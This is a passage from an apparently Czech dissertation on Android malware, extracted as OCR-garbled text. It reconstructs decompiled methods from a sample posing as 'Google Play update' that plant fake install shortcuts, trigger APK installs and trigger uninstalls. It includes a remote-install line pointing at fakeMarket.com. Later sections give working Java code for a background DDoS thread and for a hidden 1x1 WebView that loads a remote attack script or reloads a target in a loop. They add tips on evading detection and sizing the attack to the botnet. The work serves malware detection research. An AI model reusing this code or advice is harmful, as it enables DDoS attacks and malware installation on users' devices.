je volana nad instanci tfidy Intent. Ttida Intent je uloZena v proménné vl
(proménna vl je prvni v potadi). Odpovida proménné fixedIntent z opravené¢ho
Java kodu. VysSe uvedena analyza poskytuje dostatek informaci pro zrestaurovani
ttinactého fadku Java kédu metody a ttidy o:

fixedIntent.putExtra("android.intent.extra.shortcut.ICON_RESOURCE",
Intent.ShortcutlconResource.fromContext(paramContext, paramint));

Nyni je mozné prejit na ¢trnacty fadek pivodniho Java kodu metody a:
paramString1.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
ktery mél odpovidat Smali kddu na tadcich (20) a (21):

(20) const-string v0, "com.android.launcher.action.INSTALL_SHORTCUT"

(21) invoke-virtual {v1, v0}, Landroid/content/Intent;-
>setAction(Ljava/lang/String;)Landroid/content/Intent;

Do proménné¢ vO0 je uloZzen  String, jehoZ hodnota je
"com.android.launcher.action.INSTALL SHORTCUT" (20). Dale je pomoci
proménnych v1, v0 zavolana metoda setAction, ktera patii tfidé Intent (21):

e v proménné vl je opravend instance tiidy Intent z fadkt (10) a (11),
e v proménné v0 je nyni typ String a obsahuje
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"com.android.launcher.action.INSTALL SHORTCUT" - tadek (20)

Z tadki (20) a (21) a z aktuadlniho obsahu proménnych vl a vO0 je patrné, ze
plvodni ¢trnacty fadek Java kodu metody a byl Spatné transformovan. Java kod
se myln¢ pokousi volat metodu setAction nad vstupnim parametrem
paramString1, ktery je instanci tfidy String. Metoda setAction miize byt volana
pouze nad objekty pattici tfid€ Intent. Z fadku (21) je zfejmé, Ze metoda setAction
je volana nad instanci tfidy Intent, ktera je uloZena v proménné v1 (proménna v1
je prvni v potadi). Odpovida proménné fixedIntent z opraven¢ho Java kodu. Vyse
uvedend analyza poskytuje dostatek informaci pro restaurovani ctrnactého fadku
Java kodu metody a:

fixedIntent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
Nyni je potieba opravit patnacty fadek ptivodniho Java kodu:
paramContext.sendBroadcast(paramString1);

ktery mél odpovidat Smali kddu na tadku (22):

(22) invoke-virtual {p0, v1}, Landroid/content/Context;-
>sendBroadcast(Landroid/content/Intent;)V

Pomoci vstupniho parametru p0 a proménné vl je zavoldna metoda
sendBroadcast, kterd patii tfidé¢ Context (22):

e parametr p0 pfedstavuje kontext, ze kter¢ho je volana Ctyfparametrova

metoda a tfidy o,

e v proménné vl je opravend instance tfidy Intent z fadkd (10) a (11).

Z tadku (22), z obsahu vstupniho parametru pO a proménné vl, je patrné, ze
plvodni patnacty fadek Java kodu metody a byl Spatné transformovan. Java kod
se myln¢ pokousi volat metodu sendBroadcast, jako argument pouziva vstupni
parametr paramStringl, ktery je instanci tfidy String. Metoda sendBroadcast
muze byt volana pouze s argumentem, ktery je instanci tfidy Context. Z fadku
(22) je jasné, ze metoda sendBroadcast jako svilj argument pouziva instanci tfidy
Intent, ktera je uloZena v proménné vl (proménnd vl je az druha v potadi).
Proménna vl odpovida proménné fixedIntent z opraveného Java kodu. Vyse
uvedena analyza poskytuje dostatek informaci pro opravu patnactého fadku Java
kodu metody a:

paramContext.sendBroadcast(fixedIntent);

Jako posledni je potteba opravit osmnacty a dvacaty tadek catch bloku
pivodniho Java kodu metody a:
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18 catch (Exception paramContext)
19 {
20 paramContext.printStackTrace();
21}

které¢ by mély odpovidat Smali kodiim na fadcich (23), (24) a (25):

(23) :catch_0
(24) move-exception v0
(25) invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V

Na tadku (23) je pouze naveésti, na ktere smétuje blok try. Na fadku (24) byla
do proménné v0 presunuta reference na objekt, ktery je instanci tfidy Exception.
Jinymi slovy proménnda v0 je v podstaté nezinicializovana instance tridy
Exception. Pomoci proménné v0 je zavolana metoda printStackTrace, ktera patii
tridé Exception (25). Tato ttida ji zdédila po tfidé Throwable, viz [22]. Z tadkh
(23), (24) a (25) a z aktualniho obsahu proménné v0 je patrne, Ze osmnacty a
dvacaty radek catch bloku ptivodniho Java kddu byl Spatné transformovan, nebot’
je zde nesoulad: Java kod se myln€ pokousi v prvnim kroku pro instanci ttidy
Exception pouZit vstupni parametr paramContext, ktery je instanci tfidy Context.
Ve druhém kroku se pokousi nad touto instanci Spatného datového typu zavolat
metodu printStackTrace. Kazdy z téchto krokil by sam o sobé dokazal vyvolat
zévaznou chybu kompilatoru. Nicméné analyza tadka (23), (24) a (25) poskytla
dostatek informaci pro opravu osmnactého a dvacatého tadku catch bloku Java
kodu metody a:

catch (Exception fixedException)

{

fixedException.printStackTrace();

}

Pro piehlednost je uveden cely zrestaurovany kod metody a se Ctyfmi
parametry tfidy o:

Il 0.a(4) OPRAVENE
public static void a(Context paramContext, String paramString1, int paramint, String
paramString2)
{
Ilif (b(paramString2, false))
I1{
Il return;
I}
try
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{

Intent locallntent = new Intent("android.intent.action.VIEW");
locallntent.setDataAnd Type(Uri.fromFile(new File(paramString1)),
"application/vnd.android.package-archive");

/I OPRAVA CAST 1:
Intent fixedIntent = new Intent();
fixedIntent.putExtra("android.intent.extra.shortcut.INTENT", locallntent);
fixedIntent.putExtra("android.intent.extra.shortcut. NAME", paramString2);
fixedIntent.putExtra("android.intent.extra.shortcut.ICON_RESOURCE",
Intent.ShortcutlconResource.fromContext(paramContext, paramint));
fixedIntent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
paramContext.sendBroadcast(fixedIntent);

return;
}
I/l OPRAVA CAST 2:
catch (Exception fixedException)
{ fixedException.printStackTrace();
}
}

Pro vétSi nazornost je na obrazku 5.15 uvedeno mapovani vstupnich parametra
metody a tfidy o vCetné vyznamu jednotlivych parametra, které byly zjistény
analyzou Smali k6dl a analyzou Java kodu.

public static void a(Context paramContext, String paramString1, int paramint, String paramString2)

NN

.method public static a( Landrmd/content/Context Ljava/lang/Strlng ILJava/Iang/Strlng )\%

] [

p0 pl p2 p3

cesta k instalaénimu APK souboru skodlivého software | ‘ | Jméno skodlivé aplikace

identifikatorem zdroje obrazku, ze kterého bude vyroben
spoustéc na domovské obrazovce mobilniho zafizeni

| kontext, ze kterého je volana ¢tyfparametrova metody a tfidy o ‘

Obr. 5.15: Zndzornéni mapovani vstupnich parametrii metody a t¥idy o, véetné
vyznamu jednotlivych parametru [zdroj viastni]
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Jakmile byla zrestaurovana funkcionalita metody a se ¢tyfmi parametry ttidy o
a jsou zname vyznamy jednotlivych parametri, je moZzné ovéfit jeji funkcionalitu
v praxi. Na obrazku 5.16 je vidét rozhrani pro kontrolované testovani
funkcionality malwaru, které bylo autorem prace vytvofeno ve vyvojovém
prosttedi Android Studia. Testovaci rozhrani bylo zhotoveno nasledujicim
zpusobem. Nejprve byl zaloZen novy projekt, do které¢ho byly vloZeny opravené
kody testovaného malwaru. Nasledné byly naimportovany vSechny resources,
které¢ byly ziskany z vySetfovaného Skodlivého software. Jako posledni byla
naprogramovana testovaci aktivita, ktera kontrolované vola zrestaurované metody
pattici malwaru.

Android Emulator - m:5554 1y ) 530PM %
File Edit View Navigate Code Analyze Refactor Build Run Tools VCS Window Help
DE o e % Mo R ¢ Capp ™ 4 & [N L |
Ca MalwareTestingAPP3 Ciapp [isrc Eamain [Jjava Eicz Eautb Eafai E1malwaretest Android Emulator - m:5554

droid B activity_main.xml B strings.xml B styles.xml o il 11:30 | Bl reActivity.java
& v Caapp
» [CImanifests
te tent = tent (
v Djava local tDataAndType (Uri. fromF l-O /
v E3czutb.fai.malwaret ??M[‘" PENETRATION
O u MainActivity f° TESTING
O u MalwareActivi fnrent Tixedinten tent( PT LAB LERQRETORY
» B cz.utb.fai.malwaret:
» [EJcz.utb.fai.malwaret
v [=res f .
> B drawable : ptlab.fai.utb.cz
» E1layout
» EJImipmap
v Elvalues a(Context,String,int,String)
& colors.xml
» Eadime
8 stri

N

a(Context,String,String)

Fake Shortcut 1

Fake Shortcut 2

12POW ploJpuY

] Terminal 6: Android Monitor [ 0: Messages 4:Run S TODO Eventlog [ Gradle Console

[0 can't bind to local 8602 for debugger (a minute ago) 28:6 LF: UTF-8: text text &

Obr. 5.16: Rozhrani pro kontrolované testovani funkcionality malware [zdroj viastni]

Ziskanou Skodlivou funkcionalitu 1ze zneuzit nékolika zptisoby. Podrobny
popis vSech mozZnych utokli pomoci ziskané¢ funkcionality pifekracuje ramec
samotné prace. Z toho diivodu bude popsan pouze nejnebezpecnéjsi z moznych
scénafi. Po stisku testovaciho tlacitka a(Context,String,int,String) je aktivovan
kod metody a se ¢tyfmi parametry tiidy o. Na domovskeé obrazovce mobilniho
zatizeni se vytvofi se spoustéc (zastupce), viz obrazek 5.17. Spousté¢ sméiuje k
APK instalacnimu souboru, ktery je uloZen ve vefejné Casti perzistentni paméti
mobilniho zatizeni. Nové vytvotreny spoustéc laka uzivatele na moZnost ziskat
popularni hru zdarma (APK soubor si malware ptipravil pfedem, naptiklad Best
Game Ever). V okamziku, kdy uZivatel klikne na spoustéc, se spusti instalace
nového malwaru. Na tomto misté je nutné uvést nebezpecny rys, ktery byl zjiStén
na zakladé vyzkumu proveden¢ho v ramci dizertacni prace. Pokud by byl
malware, ktery obsahuje metodu a se Ctyfmi parametry tiidy o, distribuovan
prosttednictvim Google Play a doSlo by k jeho kompromitaci (takzvany BAN
aplikace), malware by byl automaticky prostiednictvim bezpecnostnich
mechanismii Google Play odinstalovan ze vSech mobilnich zafizeni. Nové
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nainstalovany malware Best Game Ever (viz obrazek 5.17) by ale v mobilnim
zafizeni zistal, nebot’ si ho uZivatel nainstalovat sam, a navic instalace prob¢hla
lokaln€. Aby malware Best Game Ever nebyl ohrozovan uzivatelem, muize
pouzivat vlastni obranné¢ mechanismy:
e Instalaéni APK mize byt skutecna placena hra, ktera byla infikovana, a
byly z ni odstranény softwarové ochrany. Uzivatel j1 mizZe hrat zadarmo.
e Instalaéni APK je malware typu Hidden APK. UZivatel ji v mobilnim
zatizeni nebude schopen najit a odinstalovat.
e Instalacni APK je malware, ktery pfi instalaci ptredstira, Ze je hra. Ale po
instalaci se tvari jako systémova aplikace, ktera je dileZitou soucasti
mobilniho opera¢niho systému.

Android Emulator - m:5554 Androld Emulator - m:5554 Android Emulator - m:5554

H Best Game Ever

to install this
loes not require any

PT LAB

ptlab.fai.uth.cz

a(Context,String,int,String)
a(ContextString,String)
Fake Shortcut 1

Fake Shortcut 2

Cancel Install

% Threads @ Heap @ Allocation Tracker % Njtwork Statistics & File Explorer &3 @ Emulator Control [ System Information = 8

®wa - e
Name Size Date Time Permissions Info
¥ & storage 2017-04-15 11:29 drwxr-x-x

¥ & sdcard
» & Alarms
* & Android
» & BankingApp
» &DaM
*» & Download
> & LOST.DIR

1969-12-31 19:00 drwxrwx-x
2016-11-08 14:33 drwxrwx—
2016-11-08 09:34 drwxrwx-x
2017-02-08 12:47 drwxrwx—
2016-11-08 14:33 drwxrwx—
2016-11-08 14:33 drwxrwx—
2016-11-08 14:33 drwxrwx—

|

Movies
& Music
» & Notifications

)17-04-12 15 rWXIWX-
2016-11-08 14:33 drwxrwx—
2016-11-08 14:33 drwxrwx
2016-11-08 14:33 drwxrwx

Obr. 5.17: Schéma mozného utoku pomoci ctyr parametrové metody a tridy o [zdroj
viastni]

Kromé¢ Ctyt parametrové metody a tfidy o bylo ve tfidé h v metodé€ b objeveno
1 volani tfi parametrové metody a tfidy o. Pro vétsi ptehlednost je znovu uveden
kod metody b tfidy h. Volani metody a tfidy o je vkoédu oznaceno
programatorskym komentatem: / VOLANTI 1 - t¥i parametrova metoda a tfidy o
(viz nize):

protected void b(String paramString)
{
MainActivity.a().g();
if (this.d)
{
if (this.h I=1i.c) {
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break label39;

) "
o.a(this.e, this.c, this.i); // VOLANI 1 - tfi parametrova metoda a tfidy o

}
label39:
do
{

return;

if (this.h == i.b)

{

o.a(this.e, this.c, this.g, this.f); // VOLANI 2 - étyf parametrova metoda a tfidy

return;
}
} while (this.h I=i.d);
o.a(this.e, this.c, this.g, this.f); // VOLANI 2 - &tyf parametrova metoda a tfidy o
o.a(this.e, this.c, this.i); // VOLANI 1 - tfi parametrova metoda a tfidy o
}

Ani transformace tfi parametrové metody a tfidy o pomoci Dex2jar a Java
Decompileru se neobesla bez chyb (transformovana metoda a se ttemi parametry
uvedend vySe neni funkéni). Pro restaurovani plivodniho spravného kodu bude
nutné poskozené Casti opravit pomoci odpovidajiciho Smali kodu, stejné jako pii
restaurovani Ctyfparametrové metody a tfidy o. Nicméné proces restaurovani byl
J1Z popsan, a proto neni nutné prochazet cely postup oprav tii parametrové metody
a tfidy o. Z tohoto divodu bude uveden pouze kod jiz zrestaurované verze
ttiparametroveé metody a tfidy o:

public static void a(Context paramContext, String paramString1, String paramString2)

{
if (b(paramContext, paramString2))

{
c(paramContext, paramString2);
return;

}

try

{
/I OPRAVA 1
Intent fixedIntent = new Intent("android.intent.action.VIEW");
Bundle localBundle = new Bundle();

localBundle.putBoolean("remoteLauch”, true);
fixedIntent.putExtras(localBundle);
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fixedIntent.setDataAndType(Uri.fromFile(new File(paramString1)),
"application/vnd.android.package-archive");
fixedIntent.setFlags(268435456);
paramContext.startActivity(fixedIntent);
return;
}
/I OPRAVA 2
catch (Exception fixedException)

{

fixedException.printStackTrace();

}

Ve vyse uvedeném kodu byl zjiStén zavazny bezpecnostni problém, ktery miize
byt zneuZzit k vyvolani instalace (instalacniho Intentu). Nyni je zfejmy zamér
vySetfovan¢ho malwaru: Skodlivy software ptedstira, ze je systémova aplikace
Google Play update (viz vySe <string name="app name">Google Play
update</string>), ktera se snazi vyvolat instalaci jiné Skodlivé aplikace. Klicove

misto kodu je:

fixedIntent.setDataAndType(Uri.fromFile(new File(paramString1)),
"application/vnd.android.package-archive");

Z vynatku kodu je jasné, ze predstavuje velké bezpecnostni riziko. Kod muze
vyvolat instala¢ni proces 1 ze vzdaleného zdroje, pficemz uzivatel nema moznost
sledovat, kam URL adresa smétuje, pokud tviirce malwaru vhodn€ naaranzuje

okolnosti. Ukazka nebezpecného kddu, ktery miize Gto¢nik pouZit pro instalaci ze
vzdaleného zdroje:

installationPrompt.setDataAnd Type(Uri.parse("http://fakeMarket.com:8181/MyAPPSto
re/apk/Malware.apk"), "application/vnd.android.package-archive");

Pticemz pro uzivatele to bude vypadat jako standardni instalace ¢i update
nckteré ze stavajicich aplikaci. Pro ur€eni zdroje instalace konkrétniho malwaru

je nutné se podivat na odpovidajici mista v kodu tfid h a o.

Jak bylo popsano vySe, spousténi instalatniho Intentu bylo zahajeno
ttiparametrovym volanim metody a tfidy o ve tfid¢ h:

o.a(this.e, this.c, this.i);
Z definice tiiparametrové metody a, ktera je ve tfidé¢ o:

public static void a(Context paramContext, String paramString1, String paramString2)
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bﬁaramStringZ.setDataAndType(Uri.fromFiIe(new File(paramString1)),
"application/vnd.android.package-archive");

-

vyplyva, Ze misto, kde je umistén instalaéni soubor, je ur€eno proménnou
paramString1. PficemZ diileZita je okolnost, Ze jde to druhy parametr v potadi pii
volani metody a.

Nyni je mozné pokracovat ve ¢teni kodu ttidy h. Na za¢atku tfidy je definovana
globalni proménna:

private String c;

V dalsi ¢asti kodu je do proménné ¢ piidana cesta, ktera smétuje do perzistentni
paméti mobilniho zatizeni:

this.c = Environment.getExternalStorageDirectory().getAbsolutePath();
Pak je do proménné ¢ pfidano i jméno instalacniho souboru a koncovka .apk:
this.c = (this.c + "/ + paramContext + ".apk")

Jako posledni je v metodé€ b tfidy h zavolana metoda a tfidy o, ktera zpiisobi
vyvolani instala¢niho/update intentu:

o.athis.e, this.c, this.i);

Z dan¢ho volani je vidét, Ze ve druhém parametru v potadi je uloZzen obsah
proménné c. Z toho plyne, Ze jde o lokalni instalaci Skodliveho APK. Malware
mlZe predstirat, Ze se jedna o update uZivatelské aplikace nebo dokonce
systtmové aplikace. Ziskanou funkcionalitu malwaru lze zneuzit nékolika
zpusoby. Podrobny popis vSech moznych Utokidi pomoci ziskané funkcionality
piekracuje radmec prace, proto bude popsan pouze jeden z moznych scénait. Po
stisku testovaciho tlacitka a(Context,String,String) je aktivovan kod metody a se

213



ttemi parametry tfidy o. Spusti instalacni Intent (instalace spusténa programem,
nikoliv uzivatelem), ktery pouzivd APK instala¢ni soubor uloZeny ve vetejne casti
perzistentni paméti mobilniho zafizeni, viz obrazek 5.18. Instalaéni APK soubor
si malware musi pfipravit jesté pfed volanim metody a. Pokud uto¢nik zna
mechanismus, jakym instalacni proces zobrazuje informace ziskané z APK
balicku uZivateli, miize ho zneuzit k oklaméani uzivatele. Takovy zpisob ukazuje
obrazek 5.18, kdy instalovany malware predstira, Ze se jedna o aktualizaci Google
Play.

©  Android Emulator - m:5554 7 Android Emulator - m:5554

* Google Play update

oo
ﬁ][[-g PENETRATION
TESTING
Do you want to install this
PT LAB FARQRATORY application? It does not require any

special access.

ptlab.fai.utb.cz

e — Cancel Install
% Threads | @ Heap | @ Allocation Tracker | 2 Network Statistics |i# File Explorer & | @ Emulator Control| 7 System Information = 0
wa - v
Name Size Date Time Permissions Info

¥ & storage 2017-04-15 11:29 drwxr-x-x

¥ & sdcard 2017-04-15 12:03 drwxrwx-x

» & Alarms 2016-11-08 14:33 drwxrwx—

» & Android 2016-11-08 09:34 drwxrwx-x

» & BankingApp 2017-02-08 12:47 drwxrwx—

» &DAM 2016-11-08 14:33 drwxrwx—

*» & Download 2016-11-08 14:33 drwxrwx—

" | L 1 L
» & LOST.DIR 2016-11-08 14:33 drwxrwx—
Malware.apk 1659245 2017-04-12 15:32 -rwxrwx—

» & Movies 2016-11-08 14:33 drwxrwx—
> & Music 2016-11-08 14:33 drwxrwx—
» & Notifications 2016-11-08 14:33 drwxrwx—

Obr. 5.18: Schéma mozného utoku pomoci triparametrové metody a tiidy o [zdroj
viastni]

Situace je o to vaznéjsi, ze malware disponuje GCM (Google Cloud
Messaging) mechanismem pro dorucovéani zprav. To znamenda, Ze jeden
z moznych scénafl Gtoku zahrnuje schopnost spustit tfiparametrovou metodu
vzdalené pomoci zaslani zpravy a predstirat, Ze se jedna o systémovou aktualizaci.
Coz je velmi podobne¢ chovani skuteénych aktualizaci, na které jsou uzivatelé
zvykli.

V ramci analyzy vzorku malware byla nalezena dalSi volani metod a, tfidy o.
Naptiklad metoda h ve ttidé€ c:

public static void h(Context paramContext, String paramString)

{ non

if (a(paramString, "s_cp", "e_cp").equals(paramContext.getPackageName()))

{
String Str = a(paramString’ "S_p", "e_p");

if (0.b(paramContext, str)) { . o
o.a(paramContext, str); // DALSI VOLANI METODY a - DELETE
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}

) o
o.a(paramContext, a(paramString, "s_p", "e_p")); // DALSI VOLANI METODY a

- DELETE
)

ktera zpisobuje dalSi volani metody a tfidy o, které spouSti proces
odinstalovani mobilni aplikace:

public static void a(Context paramContext, String paramString)

{
try
{

Intent locallntent = new Intent("android.intent.action.DELETE");
localintent.setFlags(268435456);
locallntent.setData(Uri.parse("package:" + paramString));
paramContext.startActivity(locallntent);

return;

}

catch (Exception fixedException)

{
fixedException.printStackTrace();
}
}

Na obrazku 5.19 je vidét, Ze nebyly popsany vSechny metody a tfidy o.
Zkoumany malware ma jeste celou fadu zajimavych vlastnosti a funkei. Naptiklad
vyhodnocovaci mechanismus  vyuZivajici Broadcast Receiver (tfida
NetworkStateReceiver) slouzi pro informovani malwaru o zménach ve stavu
internetového ptipojeni 1 pro zjisStovani, zda je mobilni zatizeni pfipojeno k siti
Internet. Neékteré dalSi techniky a metody jiZ nejsou duilezité pro vyzkum
popisovany v dizertatni praci. VySe popsana analyza malwaru rovnéz
dokumentuje, jak narocnd je z hlediska vynaloZeného Casu a Usili analyza
obfuskovaného kodu. Z toho vyplyva potieba vyvinout moderni automatizované
penetracni nastroje. Vzhledem k ndro¢nosti, mozné variabilit¢ a komplexnosti
neni jednoduché vytvofit penetracni nastroje pomoci konvencénich prostredki.
Proto byly zvoleny pro vyzkum detekce mobilniho malwaru metody umélé
inteligence. Na zaklad¢€ vysledku, které byly ziskany v ptipravné ¢asti vyzkumu
(naptiklad mapovani vztaht tfidy, proménnych a metod k opravnénim v souboru
AndroidManifest.xml), byly zvoleny neuronové sité, nebot” pomoci nich bylo
dosazeno kvalitnich vysledk.
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milan@ubuntu:~$ grep -rn '/home/milan/MALWARE' -e "[o][.][a]"
this. (paramFragment);
this. .removeCallbacks(this.y);
this. .post(this.y);
return a(this. , null, -1, 0);
this. (paramFragment.g);
if (Looper.myLooper() != this. .getLooper()) {
this. .removeCallbacks(this.y);
return a (paramaf.a, paramaf.r, paramaf.b, paramaf.c, paramaf.h, paramaf.f, paramaf
.1, paramaf.d, paramaf.e, paramaf.g, paramaf.n, paramaf.o, paramaf.p);
("registedgcmkey", paramString);
("app_launched", true);
("lastluanchTime", Long.valueOf(System.currentTimeMillis()).longValue());
("isFirtLauches", false);
(this.e, this.c, this.i);
(this.e, this.c, this.g, this.f);
(this.e, this.c, this.g, this.f);
(this.e, this.c, this.i);
float f = ("lauchcount", 1.6F);
("lastluanchTime", System.currentTimeMillis());
(this.f, this.i, this.e, this.g);
(this.f, this.i, this.h);
("admobidkey", a(paramstring, "s_ai", "e_ai"));
(paramContext, paramString, str);
(paramContext, str);
(paramContext, a(paramString, "s_p", L
("senderidkey", a(paramString, "s_si", "e_

Obr. 5.19: Vypis vSech volani metod a tridy o [zdroj viastni]

Smyslem pododdilu VySetfovaci metody ziskanych vzorkli mobilniho malwaru
bylo popsat nejen dilleZité¢ metody, které pouziva moderni mobilni malware, ale
také naznacit zplsob, jakym je analyzovan soucasny Skodlivy software. Ziskané
poznatky byly naprosto zasadni pro dalsi ¢asti vyzkumu.

5.2 Charakteristiky mobilniho malware

5.2.1 Malware obsahujici legitimizujici ¢ast aplikace a Skodlivou cast
aplikace

Malware tohoto typu je mobilni aplikace, ktera ma dvé ¢asti. Prvni z nich je
zpravidla viditelna a poskytuje uzite€nou ¢i zabavnou funkcionalitu. Druha ¢ast
nema uzivatelské rozhrani a obvykle je realizovana jako asynchronni vlakno
bézici na pozadi nebo jako sluzba. Skryta ¢ast vykonava bez védomi uzivatele
n¢jakou Skodlivou ¢innost. MliZze se napiiklad jednat o aplikaci na predpoveéd’
pocasi, ktera obsahuje bota umoziujiciho vzdalené ovladani mobilniho telefonu
¢1 tabletu prostrednictvim C&C (Command and Control) serveru. Uvedeny typ
malwaru lze distribuovat 1 prosttednictvim Google Play, nebot’ v sou¢asné dobé
existuje cela tfada mobilniho malwaru schopného piekonat bezpecnostni
mechanismy Google Play:

“...Researchers discovered 2 Malicious Android apps from Google Play Store
that drops Anubis banking malware with highly obfustication techniques. The
malicious apps posed as a legitimate tool with the name of Currency Converter
and BatterySaverMobi and also attackers posted a fake review and boasted a score
of 4.5 stars...” [144].

Z vysledki publikovanych v [22] vyplyva, Ze uZivatele davaji jednoznacné
pfednost funkcionalité pfed bezpecnosti, coZ umoziiuje malwaru s legitimizujici
casti napachat velké Skody, a to zeyména v kombinaci s opravnénimi, kterd jsou
aplikaci ptidélena:

“Anubis malware basically posed as a legitimate apps and steal the users bank
account information by request to grant permission to banking apps...” [144].
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Jak jiz bylo uvedeno vySe, malware miize spoustét sviy Skodlivy kod jako
asynchronni vlakno bé&Zici na pozadi. Miize se napiiklad jednat o DDoS utok
béZici na pozadi:

private class DoltinBackground extends AsyncTask<String, Void, String>

{

String downloadResult = "";
private DoltinBackground() {}

protected String doInBackground(String... paramVarArgs)
{
try
{
paramVarArgs = new HTTPGetRequest(MainActivity.this.ipAddr);
inti=0;
while (i <_numberOfAttacks) /' V. PROMENNE numberOfAttacks JE
SPECIFIKOVAN POCET UTOKU
{
this.downloadResult = paramVarArgs.downloadData();
Log.d("Logtag®, "--> Background Thread Attack - Number: " + String.valueOf(i +
)
Thread.sleep(attackinterval);
/I’ V PROMENNE attackinterval JE SPECIFIKOVANA OPAKOVACI PERIODA
UTOKU NAPR. 1000L = 1s
i+=1;
}

return null;

}

catch (Exception paramVarArgs)
{
Log.d("Logtag", "Error doInBackground: " + paramVarArgs.toString());
}
}

protected void onPostExecute(String paramString) {}

}

VysSe uvedeny kod spusti vlakno na pozadi, ve kterém je vytvofena instance
tridy HTTPGetRequest, ktera posila dotazy na vzdaleny server. Adresa serveru je
specifikovana v proménné MainActivity.this.ipAddr. PocCet utokli/dotazii je uréen
hodnotou proménné numberOfAttacks. Je Zaddouci, aby se nejednalo o pevné dane
¢islo. Pokud by napftiklad bylo poslano 128 dotazi pti kazdém spusténi, pak by
bylo mozné malware snadno detekovat (jednalo by se o typicky rys daného
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malwaru). Situaci lze naptiklad feSit generovanim nahodného ¢isla z urcitého
rozsahu. Proménna attackInterval slouzi ke stanoveni opakovaci periody ttoku.
Hodnota je zaddvana v milisekundach. Obecné plati, ze ¢im je perioda delsi, tim
produkujici sitovy provoz typu DDoS. Hodnota proménné attackInterval by méla
byt zadavana vzdalené¢ a méla by byt vypocitana na zaklad¢ celkového poctu
infikovanych zatizeni, které¢ ma uto¢nik k dispozici. Hodnota by méla byt co
nejdelsi, ale zaroven celkovy DDoS provoz generovany vSemi infikovanymi
zatizenimi by m¢l byt dostate¢né silny, aby dokdzal vytadit server, na ktery je
smérovan utok. V1akno je spousténo na vhodném misté zdrojového kodu, pticemz
vhodnost mista je dédna povahou Skodlivé ¢innosti. Pokud naptiklad chovani
malwaru vyZaduje jediné spusténi Skodliveho kodu a dlouhy béh na pozadi, je
nejvhodnéjsi kod spoustét z metody onCreate startovni aktivity. Je-1i naopak pro
malware vhodnéjsi co nejvice opakovanych spusténi, je dobre zapouzdiit Skodlivy
kod do vetené tridy, kterd bude spousSténa z metody onResume vSech aktivit
daného malware.

Jednou zmoznosti jak prekovat bezpecCnostni mechanismy a skenery je
umisténi Skodlivého koédu do JavaScriptu, ktery se bude vykonavat v Ul
komponent¢ WebView?’. Mechanismus zneuziti JavaScriptu v komponenté
WebView je zachycen na obrazku 5.20. Komponenta WebView posle poZadavek
na stazeni Skodlivého JavaScriptu na server, kam ho umistil tviirce malwaru, viz
bod 1 na obrazku 5.20. Nasledné& je JavaScript stazen do komponenty WebView,
kde je interpretovan, viz bod 2 na obrazku 5.20. Vysledkem interpretace
JavaScriptu je DDoS utok proti webovému serveru, viz bod 3 na obrazku 5.20.
Vyhodou uvedeného mechanismu je, Ze tocny skript je umistén externé, tzn.
mimo mobilni aplikaci. V dobé& schvalovaciho procesu dané aplikace miize byt
Skodlivy JavaScript nahrazen neSkodnou verzi. Samotna mobilni aplikace nedéla
nic Spatného, jen interpretuje JavaScript. Dalsi vyhodou externiho skriptu je, Ze
jej tviirce malwaru miiZze meénit a tim ménit povahu a cile ttoku.

21 WebView je komponenta uzivatelského rozhrani slouzici k zobrazovani webovych stranek
v mobilnich aplikacich.
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Komponenta WebView
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Obr. 5.20: Mechanismus zneuziti JavaScriptu v komponenté WebView [zdroj viastni]

Komponenta WebView miiZze mit rozmér 1 x 1 bod, coZ znamena, Ze je pro
uzivatele neviditelnd. Na obrazku 5.21 je vidét kod XML layoutu obsahujiciho
WebView o neviditelnych rozmérech. Pro takovou konstrukci XML layoutu neni
legitimni divod.

<?xml version="1.0" encoding="utf-8"?>
<ScrollView android:background="#ff008dcf" android:fitsSystemWindows="true"
android:layout width="fill parent" android:layout height="fill parent"
xmlns:android="http://schemas.android.com/apk/res/android">
<LinearLayout android:orientation="vertical" android:paddinglLeft="0.0dip"
android:paddingTop="0.0dip" android:paddingRight="0.0dip" android:layout width="fill parent"
android:layout height="fill parent">
<WebView android:id="@id/webViewl" android:layout width="1.0dip" android:layout height="1.0dip"
>

ImanaoViow andrasd:.lovont auidih_"Ff3i11 naorant" onderasd.Tlavant haoight—"iraon niaont!
Obr. 5.21: Komponenta WebView interpretujici skodlivy JavaScript ma rozmer I x 1
bod [zdroj viastni]

Spousténi JavaScriptu v komponentach WebView se v pribéhu ¢asu ménilo.
Spole¢nost Google LLC si je védoma nebezpecnosti JavaScriptll, a proto se je
snazi omezit. U prvnich verzi Gtoku stacilo povolit JavaScript prostfednictvim
instance tfidy WebSettings. To v pozd¢jsi dobé nebylo moZne, nebot’ ptikaz sice
povolil JavaScript, nicméné nékteré piikazy nebyly vykonany. Proto bylo nutné
povoleni JavaScriptu upravit:

mWebView = (WebView)findViewByld(R.id.webView1);

I ZAJISTENI FUNCNOSTI JAVASCRIPTU /i
mWebView.setWebChromeClient(new WebChromeClient());
WebSettings webSettings = mWebView.getSettings();
webSettings.setJavaScriptEnabled(true);
s
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/I ZDE ZADAT ADRESU S JavaScriptem:
mWebView.loadUrl(addressOfScript);

Do proménné mWebView je vloZena komponenta WebView, kterda ma v XML
layoutu identifikator webViewl, viz obrazek 5.21. Komponenta WebView byla
nastavena pomoci instance tfidy WebChromeClient a teprve potom bylo
provedeno povoleni JavaScriptu. Uvedeny postup dnes jiz nefunguje spolehlive,
proto musi uto¢nici peclivé otestovat funkénost kazdého JavaScriptového
ptikazu. Z tohoto diivodu byl vytvoten dalsi typ zneuZziti komponenty WebView,
ktery je vhodny pro DDoS:

globalCounter = 1;

mWebView.loadUrl(addressOfAttack);
mWebView.setWebViewClient(new RegisterWebViewClient());
mWebView.invalidate();

Z vyse uvedené ukazky je patrné, Ze JavaScript neni v komponenté WebView
povolen, nebot’ zcela chybi volani setJavaScriptEnabled (JavaScript je ve
vychozim nastaveni zakdzany). Pro moderni typ DDoSu utoku neni JavaScript
dilezity. Utok bude zajistovat samotna komponenta WebView. Komponenta ma
opét rozmér 1 x 1 obrazovy bod a je soucasti legitimizujici aplikace.

Aby utok probéhl korektng, bylo nutné vytvofit privatni tiidu
RegisterWebViewClient, ktera je potomkem ttidy WebViewClient:

private class RegisterWebViewClient extends WebViewClient

{
@Override

public void onPageFinished(WebView view, String url)

{

super.onPageFinished(view, url);

if (globalCounter < numberOfAttacks && globalCounter != 0)
{

view.loadUrl(url);
globalCounter++;

try
{
Thread.sleep(attackinterval);

}

catch(Exception e)

{
